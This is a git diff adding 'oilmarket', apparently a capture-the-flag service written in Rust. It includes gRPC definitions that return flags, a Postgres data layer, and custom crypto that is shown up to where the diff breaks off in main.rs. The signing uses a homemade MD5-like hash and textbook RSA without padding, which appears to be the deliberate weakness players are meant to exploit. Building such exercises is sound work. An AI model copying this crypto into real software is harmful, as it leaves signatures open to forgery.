2.0.39", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "tonic" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d560933a0de61cf715926b9cac824d4c883c2c43142f787595e48280c40a1d0e" +dependencies = [ + "async-stream", + "async-trait", + "axum", + "base64", + "bytes", + "h2", + "http", + "http-body", + "hyper", + "hyper-timeout", + "percent-encoding", + "pin-project", + "prost", + "tokio", + "tokio-stream", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tonic-build" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d021fc044c18582b9a2408cd0dd05b1596e3ecdb5c4df822bb0183545683889" +dependencies = [ + "prettyplease", + "proc-macro2", + "prost-build", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "indexmap 1.9.3", + "pin-project", + "pin-project-lite", + "rand 0.8.5", + "slab", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", +] + +[[package]] +name = "try-lock" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicode-bidi" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "unicode_categories" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] +name = "uuid" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +dependencies = [ + "getrandom", + "serde", +] + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] + +[[package]] +name = "whoami" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22fc3756b8a9133049b26c7f61ab35416c130e8c09b660f5b3958b446f52cc50" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "zerocopy" +version = "0.7.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d6f15f7ade05d2a4935e34a457b936c23dc70a05cc1d97133dc99e7a3fe0f0e" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbbad221e3f78500350ecbd7dfa4e63ef945c05f4c61cb7f4d3f84cd0bba649b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "zeroize" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" diff --git a/services/oilmarket/oilmarket/Cargo.toml b/services/oilmarket/oilmarket/Cargo.toml new file mode 100644 index 0000000..914a93a --- /dev/null +++ b/services/oilmarket/oilmarket/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "oilmarket" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +num = { version = "0.4.0", features = ["serde"] } +num-primes = "0.3.0" +dotenvy = "0.15" +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" +tonic = "0.10" +prost = "0.12" +sqlx = { version = "0.7.2", features = ["postgres", "runtime-tokio", "uuid"] } +sqlx-postgres = { version = "0.7.2", features = ["uuid"] } +tokio = { version = "1.0", features = ["macros", "rt-multi-thread"] } +uuid = { version = "1.5.0", features = ["serde", "v4"] } + +[build-dependencies] +tonic-build = "0.10" diff --git a/services/oilmarket/oilmarket/Cranky.toml b/services/oilmarket/oilmarket/Cranky.toml new file mode 100644 index 0000000..88963ff --- /dev/null +++ b/services/oilmarket/oilmarket/Cranky.toml @@ -0,0 +1,29 @@ +# config for https://github.com/ericseppanen/cargo-cranky + # TODO: remove this when https://doc.rust-lang.org/nightly/cargo/reference/unstable.html#lints becomes usable + + warn = ["clippy::all", "clippy::pedantic", "clippy::nursery"] + + allow = [ + "clippy::module_name_repetitions", + "clippy::cast_lossless", + "clippy::cast_possible_truncation", + "clippy::cast_precision_loss", + "clippy::default-trait-access", + "clippy::doc_markdown", + "clippy::enum-variant-names", + "clippy::explicit-iter-loop", + "clippy::explicit_deref_methods", + "clippy::iter_with_drain", + "clippy::missing_const_for_fn", + "clippy::missing_errors_doc", + "clippy::missing_panics_doc", + "clippy::must_use_candidate", + "clippy::needless_pass_by_value", + "clippy::option-if-let-else", + "clippy::redundant_else", + "clippy::return_self_not_must_use", + "clippy::similar_names", + "clippy::too_many_lines", + "clippy::too_many_arguments", + "clippy::unused-self", + ] diff --git a/services/oilmarket/oilmarket/Dockerfile b/services/oilmarket/oilmarket/Dockerfile new file mode 100644 index 0000000..e5dca99 --- /dev/null +++ b/services/oilmarket/oilmarket/Dockerfile @@ -0,0 +1,33 @@ +FROM rust:1.73-bookworm AS builder + +RUN --mount=type=cache,target=/usr/local/rustup \ + rustup toolchain install nightly-2023-12-02 && \ + rustup default nightly-2023-12-02 + +RUN apt update && apt install -y protobuf-compiler libprotobuf-dev + +WORKDIR /build +RUN mkdir dir + +COPY build.rs build.rs +COPY proto proto +COPY Cargo.lock Cargo.toml . +COPY src src +COPY .sqlx .sqlx + +RUN \ + --mount=type=cache,target=/usr/local/cargo/registry \ + --mount=type=cache,target=/build/target \ + cargo build --release && \ + cp target/release/oilmarket . + +FROM ubuntu:22.04 + +RUN echo "nobody:x:1000:1000:::" > /etc/passwd +RUN echo "nobody::1000:nobody" > /etc/group + +COPY --from=builder --chown=nobody:nobody --chmod=500 /build/oilmarket /oilmarket + +USER nobody + +ENTRYPOINT [ "/oilmarket" ] diff --git a/services/oilmarket/oilmarket/build.rs b/services/oilmarket/oilmarket/build.rs new file mode 100644 index 0000000..eee343d --- /dev/null +++ b/services/oilmarket/oilmarket/build.rs @@ -0,0 +1,4 @@ +fn main() -> Result<(), Box> { + tonic_build::compile_protos("proto/oilmarket.proto")?; + Ok(()) +} diff --git a/services/oilmarket/oilmarket/proto/oilmarket.proto b/services/oilmarket/oilmarket/proto/oilmarket.proto new file mode 100644 index 0000000..8da79d3 --- /dev/null +++ b/services/oilmarket/oilmarket/proto/oilmarket.proto @@ -0,0 +1,58 @@ +syntax = "proto3"; +package oilmarket; + +service Oilmarket { + rpc Sign (SignRequest) returns (SignResponse); + rpc Sell (SellRequest) returns (SellResponse); + rpc CreateBuyer (CreateBuyerRequest) returns (ApiKeyResponse); + rpc CreateAttester (CreateAttesterRequest) returns (ApiKeyResponse); + rpc CreateSeller (CreateSellerRequest) returns (ApiKeyResponse); + rpc AddBarrel (AddBarrelRequest) returns (AddBarrelResponse); +} + +message SignRequest { + string api_key = 1; + bytes request = 2; +} + +message SignResponse { + bytes signature = 1; +} + +message SellRequest { + string api_key = 1; + string buyer = 2; + string attester = 3; + bytes request = 4; + bytes signature = 5; +} + +message SellResponse { + string flag = 1; +} + +message CreateBuyerRequest { + string name = 1; + string flag = 2; + repeated string attesters = 3; +} + +message CreateAttesterRequest { + string name = 1; +} + +message CreateSellerRequest { + string name = 1; +} + +message ApiKeyResponse { + string api_key = 1; +} + +message AddBarrelRequest { + string api_key = 1; +} + +message AddBarrelResponse { + int32 id = 1; +} diff --git a/services/oilmarket/oilmarket/src/crypto.rs b/services/oilmarket/oilmarket/src/crypto.rs new file mode 100644 index 0000000..28af571 --- /dev/null +++ b/services/oilmarket/oilmarket/src/crypto.rs @@ -0,0 +1,32 @@ +mod hash; +mod rsa; + +use std::vec::Vec; +use serde::{Serialize, Deserialize}; + +#[derive(Serialize, Deserialize, Debug)] +pub struct Key { + key: rsa::Key, +} + +impl Key { + pub fn random_key() -> Self { + Self { + key: rsa::Key::random_key(), + } + } + + pub fn sign(&self, data: &[u8]) -> Vec { + let mut hasher = hash::Hash::new(); + hasher.update(data); + self.key.decrypt(&hasher.digest()) + } + + pub fn verify(&self, signature: &[u8], data: &[u8]) -> bool { + let mut hasher = hash::Hash::new(); + hasher.update(data); + let digest = hasher.digest(); + self.key.decrypt(&digest) == signature + + } +} diff --git a/services/oilmarket/oilmarket/src/crypto/hash.rs b/services/oilmarket/oilmarket/src/crypto/hash.rs new file mode 100644 index 0000000..18cd041 --- /dev/null +++ b/services/oilmarket/oilmarket/src/crypto/hash.rs @@ -0,0 +1,98 @@ +use std::vec::Vec; + +const CONSTANTS: [u32; 64] = [ + 2320580733, 1787337053, 4251985396, 2807377974, 1218319809, 4123899979, + 3237985526, 624917886, 3913274677, 3603784776, 19008228, 3624325155, + 3897454249, 587281880, 3262834740, 4113116148, 1181817537, 2836038666, + 4246454000, 1752699109, 2352479259, 4294799046, 2288500396, 1821834964, + 4257183660, 2778497332, 1254726629, 4134360714, 3212882625, 662504932, + 3928788511, 3582962050, 57023195, 3644581578, 3881328466, 549599862, + 3287428321, 4102010066, 1145222674, 2864477163, 4240589907, 1717923846, + 2384193475, 4294294311, 2256240761, 1856190139, 4262048386, 2749399002, + 1291035144, 4144497534, 3187528003, 700040073, 3943994535, 3561858610, + 95033694, 3664552458, 3864898592, 511874784, 3311764340, 4090582603, + 1108538085, 2892691235, 4234393575, 1683013989 +]; + + +pub struct Hash { + values: [u32; 4], + buffer: Vec, +} + +impl Hash { + pub fn new() -> Self { + Self { + values: [ + 0x47a8925b, + 0xc3efcbbd, + 0x8f2ce0f5, + 0xb451eaa5 + ], + buffer: Vec::new(), + } + } + + pub fn update(&mut self, bytes: &[u8]) { + self.buffer.extend_from_slice(bytes) + } + + fn pad(&mut self) { + let buffer_len: u64 = (self.buffer.len() as u64).wrapping_mul(8); + self.buffer.push(0x80); + while self.buffer.len() % 64 != 56 { + self.buffer.push(0); + } + + self.buffer.extend_from_slice(&buffer_len.to_le_bytes()); + } + + pub fn digest_values(mut self) -> [u32; 4] { + self.pad(); + + for i in 0..(self.buffer.len() / 64) { + unsafe { + self.values = Self::hash_block(self.values, &self.buffer[i * 64 .. i * 64 + 64]); + } + } + + self.values + + } + pub fn digest(self) -> Vec { + self.digest_values().iter().fold(Vec::new(), |mut res, value| { + res.extend_from_slice(&value.to_le_bytes()); + res + }) + } + + unsafe fn hash_block(values: [u32; 4], block: &[u8]) -> [u32; 4] { + let (mut a, mut b, mut c, mut d) = (values[0], values[1], values[2], values[3]); + for (i, constant) in CONSTANTS.iter().enumerate() { + let f: u32; + let index: usize; + if (0..16).contains(&i) { + f = (c & b) | (!c & d); + index = i; + } else if (16..32).contains(&i) { + f = (d & b) | (!d & c); + index = (5 * i + 7) % 16; + } else if (32..48).contains(&i) { + f = b ^ c ^ d; + index = (3 * i + 5) % 16; + } else { + f = b ^ (c | !d); + index = (7 * i) % 16; + + } + let new_b = a. + wrapping_add(f) + .wrapping_add(*constant) + .wrapping_add(u32::from_le_bytes(block[index * 4..index * 4 + 4].try_into().unwrap())); + + (a, b, c, d) = (d, new_b, b, c); + } + + values.into_iter().zip([a, b, c, d]).map(|(a, b)| a.wrapping_add(b)).collect::>().try_into().unwrap() + } +} diff --git a/services/oilmarket/oilmarket/src/crypto/rsa.rs b/services/oilmarket/oilmarket/src/crypto/rsa.rs new file mode 100644 index 0000000..53bed26 --- /dev/null +++ b/services/oilmarket/oilmarket/src/crypto/rsa.rs @@ -0,0 +1,62 @@ +use num::{BigUint, BigInt, FromPrimitive, Zero, bigint::ToBigInt}; +use num_primes::Generator; + +use serde::{Serialize, Deserialize}; + +#[derive(Serialize, Deserialize, Debug)] +pub struct Key { + n: BigUint, + e: BigUint, + d: BigUint, +} + +fn egcd(a: &BigInt, b: &BigInt) -> (BigInt, BigInt, BigInt) { + let zero = BigInt::zero(); + let one = BigInt::from_i32(1).unwrap(); + let (mut a, mut b) = (a.clone(), b.clone()); + let (mut x0, mut x1, mut y0, mut y1) = (one.clone(), zero.clone(), zero.clone(), one.clone()); + let mut q; + while !a.cmp(&zero).is_eq() && !b.cmp(&zero).is_eq() { + (q, a, b) = (&a / &b, b.clone(), &a % &b); + (x0, x1) = (x1.clone(), &x0 - &q * &x1); + (y0, y1) = (y1.clone(), &y0 - &q * &y1); + } + (a, x0, y0) +} + +fn modinv(n: &BigUint, p: &BigUint) -> BigUint { + let n = n.to_bigint().unwrap(); + let p = p.to_bigint().unwrap(); + let (_, kn, _) = egcd(&n, &p); + ((kn % p.clone() + p.clone()) % p.clone()).to_biguint().unwrap() +} + +fn new_prime(bits: usize) -> BigUint { + BigUint::from_bytes_le(&Generator::new_prime(bits).to_bytes_le()) +} + +impl Key { + pub fn random_key() -> Self { + let p = new_prime(512); + let q = new_prime(512); + let n = &p * &q; + let phi = (p - BigUint::from_i32(1).unwrap()) * (q - BigUint::from_i32(1).unwrap()); + + let e = BigUint::from_i32(31337).unwrap(); + let d = modinv(&e, &phi); + Self { + n, + e, + d, + } + + } + + pub fn encrypt(&self, bytes: &[u8]) -> Vec { + BigUint::from_bytes_le(bytes).modpow(&self.e, &self.n).to_bytes_le() + } + + pub fn decrypt(&self, bytes: &[u8]) -> Vec { + BigUint::from_bytes_le(bytes).modpow(&self.d, &self.n).to_bytes_le() + } +} diff --git a/services/oilmarket/oilmarket/src/db.rs b/services/oilmarket/oilmarket/src/db.rs new file mode 100644 index 0000000..6c394e2 --- /dev/null +++ b/services/oilmarket/oilmarket/src/db.rs @@ -0,0 +1,284 @@ +use sqlx::{postgres::PgPoolOptions, self, PgPool}; +use std::vec::Vec; +use uuid::Uuid; +use std::future::Future; +use tokio::time::{timeout, Timeout}; + +pub struct DB { + pool: PgPool, + request_timeout: std::time::Duration, +} + +struct DbBuyer { + id: i32, + flag: String, + name: String, + api_key: Uuid, + pub attesters: Vec<(i32, String, Uuid, String)>, +} + + +#[derive(Debug)] +pub struct Buyer { + pub id: i32, + pub flag: String, + pub name: String, + pub api_key: Uuid, + pub attesters: Vec, +} + +#[derive(Debug,sqlx::Decode)] +pub struct Attester { + pub id: i32, + pub name: String, + pub api_key: Uuid, + pub key: String, +} + +#[derive(Debug)] +pub struct Seller { + pub id: i32, + pub name: String, + pub api_key: Uuid, + pub barrels: Vec, +} + +impl From for Buyer { + fn from(value: DbBuyer) -> Self { + Self { + id: value.id, + name: value.name, + api_key: value.api_key, + flag: value.flag, + attesters: value + .attesters + .into_iter() + .map(|(id, name, api_key, key)| Attester { + id, + name, + api_key, + key, + }) + .collect() + } + } +} + +impl DB { + pub async fn connect( + url: &str, + connect_timeout: std::time::Duration, + request_timeout: std::time::Duration, + max_connections: u32, + ) -> anyhow::Result { + let pool = timeout( + connect_timeout, + PgPoolOptions::new() + .max_connections(max_connections) + .connect(url), + ) + .await??; + + Ok(Self { + pool, + request_timeout, + }) + } + + pub async fn create_attester(&self, name: &str, api_key: &Uuid, key: &str) -> anyhow::Result { + let q = sqlx::query!( + "INSERT INTO attesters + (name, api_key, key) + VALUES ($1, $2, $3)", + name, + api_key, + key, + ); + match self.timeout(q.execute(&self.pool)).await? { + Ok(_) => Ok(true), + Err(sqlx::Error::Database(db_error)) if db_error.is_unique_violation() => Ok(false), + Err(e) => Err(anyhow::Error::new(e)), + + } + } + + pub async fn create_seller(&self, name: &str, api_key: &Uuid) -> anyhow::Result { + let q = sqlx::query!( + "INSERT INTO sellers + (name, api_key) + VALUES ($1, $2)", + name, + api_key, + ); + match self.timeout(q.execute(&self.pool)).await? { + Ok(_) => Ok(true), + Err(sqlx::Error::Database(db_error)) if db_error.is_unique_violation() => Ok(false), + Err(e) => Err(anyhow::Error::new(e)), + + } + } + + pub async fn add_barrel(&self, seller: &Seller) -> anyhow::Result { + let q = sqlx::query!( + "INSERT INTO barrels + (seller_id) + VALUES ($1) + RETURNING id", + seller.id, + ); + match self.timeout(q.fetch_one(&self.pool)).await? { + Ok(query) => Ok(query.id), + Err(e) => Err(anyhow::Error::new(e)), + + } + } + pub async fn remove_barrel(&self, barrel_id: i32) -> anyhow::Result { + let q = sqlx::query!( + "DELETE FROM barrels + WHERE id = $1", + barrel_id, + ); + match self.timeout(q.execute(&self.pool)).await? { + Ok(_) => Ok(true), + Err(sqlx::Error::Database(db_error)) if db_error.is_check_violation() => Ok(false), + Err(e) => Err(anyhow::Error::new(e)), + + } + } + + pub async fn create_buyer(&self, name: &str, api_key: &Uuid, flag: &str, attesters: &[Attester]) -> anyhow::Result { + + let mut tx = self.timeout(self.pool.begin()).await??; + + let q = sqlx::query!( + "INSERT INTO buyers + (name, api_key, flag) + VALUES ($1, $2, $3) + RETURNING id", + name, + api_key, + flag, + ); + + let buyer_id = match self.timeout(q.fetch_one(&mut *tx)).await? { + Ok(query) => query.id, + Err(sqlx::Error::Database(db_error)) if db_error.is_unique_violation() => return Ok(false), + Err(e) => return Err(anyhow::Error::new(e)), + }; + + for attester in attesters.iter() { + + let q = sqlx::query!( + "INSERT INTO buyer_attester + (buyer_id, attester_id) + VALUES ($1, $2)", + buyer_id, + attester.id, + ); + + self.timeout(q.execute(&mut *tx)).await??; + } + + self.timeout(tx.commit()).await??; + + Ok(true) + } + + pub async fn get_buyer_by_name(&self, name: &str) -> anyhow::Result> { + + let q = sqlx::query_as!( + DbBuyer, + r#"SELECT + b.id as id, + b.name as name, + b.api_key as api_key, + b.flag as flag, + ARRAY_AGG( + ROW( + a.id, + a.name, + a.api_key, + a.key + ) + ) AS "attesters!: Vec<(i32, String, Uuid, String)>" + FROM buyers b + LEFT JOIN buyer_attester ba + ON ba.buyer_id = b.id + LEFT JOIN attesters a + ON a.id = ba.attester_id + WHERE b.name = $1 + GROUP BY b.id"#, + name, + ); + + let db_buyer = match self.timeout(q.fetch_one(&self.pool)).await? { + Ok(buyer) => buyer, + Err(sqlx::Error::RowNotFound) => return Ok(None), + Err(e) => return Err(anyhow::Error::new(e)), + }; + + Ok(Some(db_buyer.into())) + } + + pub async fn get_attester_by_name(&self, name: &str) -> anyhow::Result> { + let q = sqlx::query_as!( + Attester, + "SELECT id, name, api_key, key + FROM attesters + WHERE name = $1", + name, + ); + match self.timeout(q.fetch_one(&self.pool)).await? { + Ok(attester) => Ok(Some(attester)), + Err(sqlx::Error::RowNotFound) => Ok(None), + Err(e) => Err(anyhow::Error::new(e)), + } + } + + pub async fn get_attester_by_api_key(&self, api_key: &Uuid) -> anyhow::Result> { + let q = sqlx::query_as!( + Attester, + "SELECT id, name, api_key, key + FROM attesters + WHERE api_key = $1", + api_key, + ); + match self.timeout(q.fetch_one(&self.pool)).await? { + Ok(attester) => Ok(Some(attester)), + Err(sqlx::Error::RowNotFound) => Ok(None), + Err(e) => Err(anyhow::Error::new(e)), + } + } + + pub async fn get_seller_by_api_key(&self, api_key: &Uuid) -> anyhow::Result> { + let q = sqlx::query_as!( + Seller, + r#"SELECT + s.id as id, + s.name as name, + s.api_key as api_key, + ARRAY_REMOVE(ARRAY_AGG( + b.id + ), NULL) AS "barrels!: Vec" + FROM sellers s + LEFT JOIN barrels b + ON s.id = b.seller_id + WHERE s.api_key = $1 + GROUP BY s.id"#, + api_key, + ); + match self.timeout(q.fetch_one(&self.pool)).await? { + Ok(attester) => Ok(Some(attester)), + Err(sqlx::Error::RowNotFound) => Ok(None), + Err(e) => Err(anyhow::Error::new(e)), + } + } + + fn timeout(&self, f: F) -> Timeout + where + F: Future, + { + timeout(self.request_timeout, f) + } + +} diff --git a/services/oilmarket/oilmarket/src/lib.rs b/services/oilmarket/oilmarket/src/lib.rs new file mode 100644 index 0000000..3e79ae8 --- /dev/null +++ b/services/oilmarket/oilmarket/src/lib.rs @@ -0,0 +1,9 @@ +pub mod crypto; + +pub mod db; + +pub mod grpc { + tonic::include_proto!("oilmarket"); +} + +pub mod service; diff --git a/services/oilmarket/oilmarket/src/main.rs b/services/oilmarket/oilmarket/src/main.rs new file mode 100644 index 0000000..a3ef501 --- /dev/null +++ b/services/oilmarket/oilmarket/src/main.rs @@ -0,0 +1,33 @@ +use std::time::Duration; + +use tonic::transport::Server; +use oilmarket::service; + +use oilmarket::grpc::oilmarket_server::OilmarketServer; +use oilmarket::db::DB; + +const 